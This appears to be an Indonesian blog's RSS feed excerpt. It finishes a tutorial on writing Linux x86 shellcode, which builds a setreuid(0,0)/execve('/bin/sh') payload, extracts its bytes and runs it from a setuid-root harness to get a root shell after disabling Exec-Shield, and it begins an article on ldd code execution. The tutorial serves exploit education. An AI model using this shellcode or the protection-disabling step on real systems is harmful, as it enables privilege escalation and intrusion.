Ada yang menarik dari program kecil di atas, yaitu pada variabel str yang berisi string ABCHIJK plus karakter berkode ASCII 0xc3. Pada baris ke-4, variabel str digunakan sebagai argument untuk fungsi printf(), dalam hal ini berarti str dianggap sebagai data. Sedangkan pada baris ke-5, str dipanggil seperti halnya fungsi, dalam hal ini str dianggap sebagai code. Perhatikan bahwa str sejatinya adalah bertipe pointer to char, namun bisa dipanggil seperti fungsi karena telah dicasting ke pointer to function dengan (void (*)(void)).
</p>
<p align="justify">
Dalam contoh di atas kita mengeksekusi code yang ada di variabel str, berarti kita mengeksekusi code yang berada di area data (bukan area code). Kernel sekarang banyak yang menerapkan proteksi sehingga kita tidak bisa mengeksekusi code yang tidak berada di area memori yang khusus untuk code. Dalam lingkungan windows, dikenal sebagai <a href="http://en.wikipedia.org/wiki/Data_Execution_Prevention">Data Execution Prevention</a>, dan di Linux juga ada dikenal sebagai <a href="http://en.wikipedia.org/wiki/Exec_Shield">Exec-Shield</a>.
</p>
<blockquote><p>Agar contoh dalam artikel ini bisa bekerja, anda harus mematikan Exec-Shield :<br />
echo &#8220;0&#8243; > /proc/sys/kernel/exec-shield
</p></blockquote>
<p style="text-align: justify;">
Perhatikan gambar di bawah ini. Gambar tersebut adalah hasil disassemble dengan gdb. Terlihat bahwa str terletak di lokasi 0&#215;8049590. Pada &lt;main+24&gt; ada instruksi CALL yang merupakan pemanggilan fungsi printf() dengan str (0&#215;8049590) sebagai argumen fungsi. Dalam hal ini berarti str dianggap sebagai data bertipe string. Namun pada &lt;main+34&gt; ada instruksi CALL ke lokasi str, hal ini berarti program akan lompat (jump) ke lokasi str dan mengeksekusi instruksi yang ada di lokasi str. Dalam hal ini berarti str dianggap sebagai code. Perhatikan pula bahwa pada str saya menambahkan \xc3 di akhir str karena \xc3 adalah opcode instruksi RET sehingga program akan kembali ke fungsi main dan melanjutkan fungsi main sampai selesai.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/11/strascodeanddata.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/11/strascodeanddata.png" alt="strascodeanddata" title="strascodeanddata" width="599" height="563" class="aligncenter size-full wp-image-1858" /></a></p>
<p><strong>Mulai Membuat Shellcode</strong></p>
<p style="text-align: justify;">
Sebenarnya isi variable str pada program di atas adalah shellcode, jadi sebenarnya kita sudah berhasil membuat shellcode pertama. Selamat! <img src='http://www.ilmuhacking.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Namun shellcode yang kita buat tersebut tidak melakukan sesuatu yang berarti karena isinya hanya INC dan DEC kemudian RET. Namun dari contoh tersebut setidaknya kita sudah memahami bahwa shellcode tidak lain hanyalah string, yaitu kumpulan karakter yang juga merupakan opcode instruksi bahasa mesin.
</p>
<p style="text-align: justify;">
Sekarang kita akan mulai membuat shellcode yang benar-benar spawn sebuah shell. Dalam artikel sebelumnya mengenai <a href="http://www.ilmuhacking.com/programming/belajar-assembly-di-linux/">belajar assembly</a> saya sudah menjelaskan cara memanggil system call dengan interrupt 80 hexa. Shellcode yang akan kita buat berisi instruksi untuk memanggil system call. Perhatikan source bahasa C di bawah ini yang jika dieksekusi akan spawn shell.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;sys/types.h&gt;</span>
<span style="color: #339933;">#include &lt;unistd.h&gt;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #993333;">char</span><span style="color: #339933;">*</span> args<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">,</span>NULL<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        setreuid<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        execve<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">,</span>args<span style="color: #339933;">,</span>NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p style="text-align: justify;">
Program di atas hanya memanggil system call setreuid() dan execve(). Shellcode yang akan kita buat juga akan melakukan hal yang sama seperti source di atas, bedanya hanya dibuat dalam assembly.
</p>
<p><b>System Call setreuid()</b></p>
<p style="text-align: justify;">
setreuid() digunakan untuk mengeset userID real dan efektif. System call ini sangat penting sebab program yang memiliki SUID bit, biasanya men-drop root privilege bila sudah tidak dibutuhkan lagi. Oleh karena itu kita harus mengembalikan privilege itu sebelum spawn shell. Deklarasi system call setreuid() adalah:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">int setreuid(uid_t ruid, uid_t euid);
ruid = real user id
euid = effective user id</pre></div></div>

<p style="text-align: justify;">
Berdasarkan deklarasi system call tersebut, maka register yang harus diisi sebelum melakukan interrupt adalah:</p>
<ul>
<li>EAX: 0&#215;46 atau 70 (Nomor system call dari file unistd.h)</li>
<li>EBX: 0&#215;0 (Parameter pertama, real uid yaitu 0)</li>
<li>ECX: 0&#215;0 (Parameter kedua, effective uid yaitu 0)</li>
</ul>
<p style="text-align: justify;">
Potongan assembly di bawah ini adalah instruksi untuk memanggil system call setreuid(0,0).
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">; setreuid(0,0)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x46</span> <span style="color: #666666; font-style: italic;">; EAX = 0x46</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ebx</span>  <span style="color: #666666; font-style: italic;">; EBX = 0</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ecx</span>  <span style="color: #666666; font-style: italic;">; ECX = 0</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span></pre></td></tr></table></div>

<p><b>System Call execve()</b></p>
<p style="text-align: justify;">
Execve adalah system call untuk mengeksekusi suatu executable. Semua data, variable, heap, stack dsb milik proses yang memanggil execve akan hilang dan digantikan dengan program yang baru dieksekusi. Namun processID, dan open file handle (termasuk stdout,stdin,stderr) diwariskan ke program yang baru dieksekusi. Deklarasi system call execve adalah seperti di bawah ini:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">int execve(const char *filename, char *const argv[],char *const envp[]);</pre></div></div>

<p style="text-align: justify;">
Ada 3 argumen yang diperlukan, namun kita hanya akan memakai 2 argumen. Argumen envp kita isi dengan NULL karena kita tidak membutuhkan variabel environment. Berdasarkan deklarasi system call tersebut, maka register yang harus diisi sebelum memanggil interrupt adalah:
</p>
<ul>
<li>EAX: 0xb atau 11 (nomor system call)</li>
<li>EBX: alamat string &#8220;/bin/sh&#8221;</li>
<li>ECX: alamat array of string, {&#8220;/bin/sh&#8221;,NULL}</li>
<li>EDX: 0 karena envp diisi NULL.</li>
</ul>
<p align="justify">
Potongan assembly di bawah ini memanggil system call execve untuk mengeksekusi /bin/sh.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">; execve(&quot;/bin/sh&quot;,{&quot;/bin/sh&quot;,0x0},0x0)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; push 0x0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #0000ff;">0x68732f2f</span> <span style="color: #666666; font-style: italic;">; push &quot;//sh&quot;</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #0000ff;">0x6e69622f</span> <span style="color: #666666; font-style: italic;">; push &quot;/bin&quot;</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; EBX = ESP = &quot;/bin//sh\x0&quot;</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; push 0x0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">ebx</span> <span style="color: #666666; font-style: italic;">; push &quot;/bin//sh\x0&quot;</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX = ESP = {&quot;/bin//sh\x0&quot;,0x0}</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; EDX = 0</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0xb</span> <span style="color: #666666; font-style: italic;">; EAX = 0xb</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span></pre></td></tr></table></div>

<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/11/stackfilename1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/11/stackfilename1.png" alt="stackfilename" title="stackfilename" width="486" height="293" class="aligncenter size-full wp-image-1877" /></a></p>
<p align="justify">
EBX harus diisi dengan address string berisi nama file executable yang akan dieksekusi. Kita gunakan stack untuk membuat string &#8220;/bin//sh&#8221; seperti pada gambar di atas. Dengan cara ini kita akan mendapatkan address string executable filename pada register ESP. Isi ESP ini kemudian disalin ke register EBX. Mungkin ada yang mengira ada kesalahan ketik dalam string tersebut, karena ada double slash sebelum &#8220;sh&#8221;. Ini bukan kesalahan ketik, namun sengaja agar pada saat push tepat mempush 4 byte (&#8220;//sh&#8221;), dan kelebihan satu slash tidak jadi masalah.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/11/stackfilename2.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/11/stackfilename2.png" alt="stackfilename" title="stackfilename" width="421" height="204" class="aligncenter size-full wp-image-1880" /></a></p>
<p align="justify">
ECX harus diisi dengan array of string {&#8220;/bin//sh&#8221;,NULL}. Sekali lagi kita juga memakai stack dan register EBX yang sebelumnya sudah berisi address string &#8220;/bin//sh&#8221;. Pada gambar di atas pertama kita harus mempush NULL (0&#215;0) ke dalam stack sebagai elemen array index ke-1, kemudian diikuti dengan mempush address string &#8220;/bin//sh&#8221; dari EBX sebagai elemen array index ke-0. Dengan cara ini ESP akan berisi address array of string {&#8220;/bin//sh&#8221;,NULL}. Nilai ESP inilah yang disalin ke register ECX.
</p>
<p><b>Shellcode dalam Assembly</b></p>
<p align="justify">
Mari kita gabungkan potongan-potongan assembly di atas untuk membentuk shellcode yang utuh seperti pada source code assembly di bawah ini.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;">section <span style="color: #339933;">.</span>text
global _start
&nbsp;
_start<span style="color: #339933;">:</span>
<span style="color: #666666; font-style: italic;">; setreuid(0,0)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x46</span> <span style="color: #666666; font-style: italic;">; EAX = 0x46</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ebx</span>  <span style="color: #666666; font-style: italic;">; EBX = 0</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ecx</span>  <span style="color: #666666; font-style: italic;">; ECX = 0</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">; execve(&quot;/bin/sh&quot;,{&quot;/bin/sh&quot;,0x0},0x0)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; push 0x0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #0000ff;">0x68732f2f</span> <span style="color: #666666; font-style: italic;">; push &quot;//sh&quot;</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #0000ff;">0x6e69622f</span> <span style="color: #666666; font-style: italic;">; push &quot;/bin&quot;</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; EBX = ESP = &quot;/bin//sh\x0&quot;</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; push 0x0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">ebx</span> <span style="color: #666666; font-style: italic;">; push &quot;/bin//sh\x0&quot;</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX = ESP = {&quot;/bin//sh\x0&quot;,0x0}</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; EDX = 0</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0xb</span> <span style="color: #666666; font-style: italic;">; EAX = 0xb</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span></pre></td></tr></table></div>

<p align="justify">
Mari kita compile dan link source assembly di atas.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;">$ nasm <span style="color: #339933;">-</span>f elf basicshellcode<span style="color: #339933;">.</span>asm
$ ld <span style="color: #339933;">-</span>o basicshellcode basicshellcode<span style="color: #339933;">.</span>o
$ sudo chown root<span style="color: #339933;">:</span>root basicshellcode<span style="color: #666666; font-style: italic;">;sudo chmod 4755 basicshellcode</span>
Password<span style="color: #339933;">:</span>
$ ls <span style="color: #339933;">-</span>l basicshellcode
<span style="color: #339933;">-</span>rwsr<span style="color: #339933;">-</span>xr<span style="color: #339933;">-</span>x <span style="color: #0000ff;">1</span> root root <span style="color: #0000ff;">623</span> <span style="color: #00007f; font-weight: bold;">Dec</span>  <span style="color: #0000ff;">3</span> <span style="color: #0000ff;">14</span><span style="color: #339933;">:</span><span style="color: #0000ff;">52</span> basicshellcode
$ <span style="color: #339933;">./</span>basicshellcode
sh<span style="color: #339933;">-</span><span style="color: #0000ff;">3.2</span># whoami
root
sh<span style="color: #339933;">-</span><span style="color: #0000ff;">3.2</span># <span style="color: #000000; font-weight: bold;">exit</span></pre></td></tr></table></div>

<p><b>Converting OBJDUMP Output to Shellcode</b></p>
<p align="justify">
Hore berhasil! Sekarang tahap finishing, yaitu mengambil opcode dari program di atas. Kita gunakan objdump untuk ini.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ objdump -M intel -d -j .text ./basicshellcode
&nbsp;
./basicshellcode:     file format elf32-i386
&nbsp;
Disassembly of section .text:
&nbsp;
08048060 &lt;_start&gt;:
 8048060:       31 c0                   xor    eax,eax
 8048062:       b0 46                   mov    al,0x46
 8048064:       31 db                   xor    ebx,ebx
 8048066:       31 c9                   xor    ecx,ecx
 8048068:       cd 80                   int    0x80
 804806a:       31 c0                   xor    eax,eax
 804806c:       50                      push   eax
 804806d:       68 2f 2f 73 68          push   0x68732f2f
 8048072:       68 2f 62 69 6e          push   0x6e69622f
 8048077:       89 e3                   mov    ebx,esp
 8048079:       50                      push   eax
 804807a:       53                      push   ebx
 804807b:       89 e1                   mov    ecx,esp
 804807d:       31 d2                   xor    edx,edx
 804807f:       b0 0b                   mov    al,0xb
 8048081:       cd 80                   int    0x80</pre></div></div>

<p align="justify">
Dari output objdump di atas, kita hanya perlu mengambil opcode dalam kolom yang ditengah kemudian menggandengnya menjadi sebuah string. Untuk memudahkan mengambil opcode saya membuat script satu baris berikut:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ objdump -d ./basicshellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/&quot;/'|sed 's/$/&quot;/g'
&quot;\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80&quot;</pre></div></div>

<p align="justify">
Mari kita verifikasi sekali lagi dengan perl dan ndisasm.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ perl -e 'print &quot;\x31\xc0\xb0\x46\x31\xdb\x31\xc9\f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80&quot;' |ndisasm -u -
00000000  31C0              xor eax,eax
00000002  B046              mov al,0x46
00000004  31DB              xor ebx,ebx
00000006  31C9              xor ecx,ecx
00000008  CD80              int 0x80
0000000A  31C0              xor eax,eax
0000000C  50                push eax
0000000D  682F2F7368        push dword 0x68732f2f
00000012  682F62696E        push dword 0x6e69622f
00000017  89E3              mov ebx,esp
00000019  50                push eax
0000001A  53                push ebx
0000001B  89E1              mov ecx,esp
0000001D  31D2              xor edx,edx
0000001F  B00B              mov al,0xb
00000021  CD80              int 0x80</pre></div></div>

<p align="justify">
Hasilnya sama, berarti shellcode tersebut benar. Sekarang kita lanjutkan dengan mengeksekusi shellcode tersebut dengan program C di bawah ini:
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">char</span> shellcode<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>
        <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc0</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x46</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xdb</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc9</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc0</span>&quot;</span>
        <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x50</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x73</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x62</span><span style="color: #660099; font-weight: bold;">\x69</span><span style="color: #660099; font-weight: bold;">\x6e</span><span style="color: #660099; font-weight: bold;">\x89</span>&quot;</span>
        <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xe3</span><span style="color: #660099; font-weight: bold;">\x50</span><span style="color: #660099; font-weight: bold;">\x53</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xd2</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x0b</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>shellcode<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// shellcode()</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>


<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ gcc shellcode4.c -o shellcode4
$ sudo chown root:root shellcode4; sudo chmod 4755 shellcode4
Password:
$ ls -l ./shellcode4
-rwsr-xr-x 1 root root 4748 Dec  3 16:25 ./shellcode4
$ ./shellcode4
sh-3.2# whoami
root
sh-3.2# exit</pre></div></div>

<p align="justify">
Oke, selamat kita telah berhasil membuat shellcode yang menghasilkan shell di local. Pada bagian ke-2, saya akan menjelaskan pembuatan shellcode untuk remote exploit.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=7P0hUdizikQ:G-x2xm0JBJA:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=7P0hUdizikQ:G-x2xm0JBJA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=7P0hUdizikQ:G-x2xm0JBJA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=7P0hUdizikQ:G-x2xm0JBJA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=7P0hUdizikQ:G-x2xm0JBJA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=7P0hUdizikQ:G-x2xm0JBJA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=7P0hUdizikQ:G-x2xm0JBJA:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=7P0hUdizikQ:G-x2xm0JBJA:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-part-1/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Exploiting LDD for Arbitrary Code Execution</title>
		<link>http://www.ilmuhacking.com/linux/exploiting-ldd-for-arbitrary-code-execution/</link>
		<comments>http://www.ilmuhacking.com/linux/exploiting-ldd-for-arbitrary-code-execution/#comments</comments>
		<pubDate>Fri, 13 Nov 2009 09:44:56 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[compiler]]></category>
		<category><![CDATA[ldd]]></category>
		<category><![CDATA[linker]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=1713</guid>
		<description><![CDATA[Hati-hati dengan program LDD, jangan sembarangan menjalankan LDD pada program executable yang tidak dikenal dan tidak dipercaya, sebab salah-salah malah anda menjalankan program tersebut dan bisa membuat komputer anda compromised. Apa itu LDD dan bagaimana cara mengexploitnya silakan disimak artikel berikut ini.
Shared Library and Linking
Seperti yang telah saya jelaskan dalam artikel sebelumnya tentang belajar assembly, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Hati-hati dengan program LDD, jangan sembarangan menjalankan LDD pada program executable yang tidak dikenal dan tidak dipercaya, sebab salah-salah malah anda menjalankan program tersebut dan bisa membuat komputer anda compromised. Apa itu LDD dan bagaimana cara mengexploitnya silakan disimak artikel berikut ini.</p>
<p style="text-align: justify;"><strong>Shared Library and Linking</strong></p>
<p style="text-align: justify;">Seperti yang telah saya jelaskan dalam artikel sebelumnya tentang <a href="http://www.ilmuhacking.com/programming/belajar-assembly-di-linux/">belajar assembly</a>, program adalah kumpulan instruksi prosesor dalam bahasa mesin (binary). Namun yang perlu diketahui adalah tidak semua instruksi yang dibutuhkan dimasukkan (baca:dilink) dalam file executablenya.</p>
<p style="text-align: justify;">Subroutine/prosedur/fungsi yang umum tidak perlu dimasukkan ke dalam file executable, cukup disimpan dalam suatu file library yang boleh dipakai semua program yang membutuhkan. Library ini disebut dengan shared library atau shared object (so). Shared library dalam lingkungan windows dikenal dengan DLL.</p>
<p><span id="more-1713"></span></p>
<p style="text-align: justify;">Proses linking adalah proses menggabungkan library external yang dibutuhkan untuk menjalankan program. Linking bisa dilakukan satu kali saja, yaitu setelah proses compiling, atau dilakukan setiap kali menjalankan program atau at-runtime. </p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/11/compileandlink2.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/11/compileandlink2.jpg" alt="compile and link" title="compile and link" width="599" height="304" class="size-full wp-image-1726" /></a></p>
<p align="justify">Pada gambar di atas terlihat proses linking yang dilakukan setelah tahap compiling. Hasil dari proses compile adalah object file yang masih memerlukan code dalam library external. Dalam tahap linking, semua code yang diperlukan dari library external di-include ke dalam file executable.</p>
<p align="justify">Berdasarkan waktu linkingnya, file executable bisa dibedakan menjadi 2:</p>
<ul>
<li><b>Statically linked: Linking once at compile time</b></li>
</ul>
<p style="text-align: justify;">Bila semua code dari library external telah diinclude ke dalam file executable, maka file tersebut bertipe statically linked executable. Executable jenis ini tidak mempunyai ketergantungan (dependency) terhadap library apapun, sehingga bersifat portable.</p>
<p style="text-align: justify;">
Kelemahan executable jenis ini adalah boros space disk dan memori. Karena semua code dari external library diinclude ke dalam executable, maka ukuran file executable menjadi besar. Begitu pula pada saat run-time, memori yang diperlukan lebih besar karena code yang harus diload ke memori sebelum dieksekusi lebih besar.
</p>
<p style="text-align: justify;">Dalam artikel sebelumnya tentang pemrograman assembly, file executable yang dihasilkan dari source assembly adalah bertipe statically linked. Hal ini bisa dilihat dengan utility bernama &#8220;file&#8221; seperti contoh di bawah ini.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ file ./hello
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped</pre></div></div>

<p style="text-align: justify;">
Compiler gcc secara default membuat executable bertipe dynamic, sehingga untuk membuat executable statically linked perlu memakai parameter: &#8211;static seperti contoh di bawah ini:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ gcc myapp.c -o myapp --static
$ file ./myapp
./myapp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, statically linked, for GNU/Linux 2.6.9, not stripped</pre></div></div>

<ul>
<li><b>Dynamically linked: Linking at run-time</b></li>
</ul>
<p style="text-align: justify;">
Disebut dynamically linked karena proses linking tidak terjadi pada saat pembuatan file executable (compile time). Proses linking dilakukan secara dinamis setiap kali program akan dijalankan (at runtime).
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/11/dynamic-linking1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/11/dynamic-linking1.png" alt="dynamic linking" title="dynamic linking" width="600" height="570" class="aligncenter size-full wp-image-1740" /></a></p>
<p align="justify">
Dengan tidak meng-include library ke dalam file executable, maka ukuran file menjadi kecil. Selain itu keuntungannya adalah lebih hemat memori. Memori yang diperlukan untuk code dari library cukup satu area saja kemudian banyak proses boleh memakainya bersama-sama. Dengan cara ini code yang sama tidak perlu diduplikasi di banyak tempat. Pada gambar di atas terlihat bahwa code untuk fungsi printf(), strlen() dan malloc() cukup berada di area memori untuk library, tidak perlu diduplikasi di masing-masing proses.
</p>
<p align="justify">
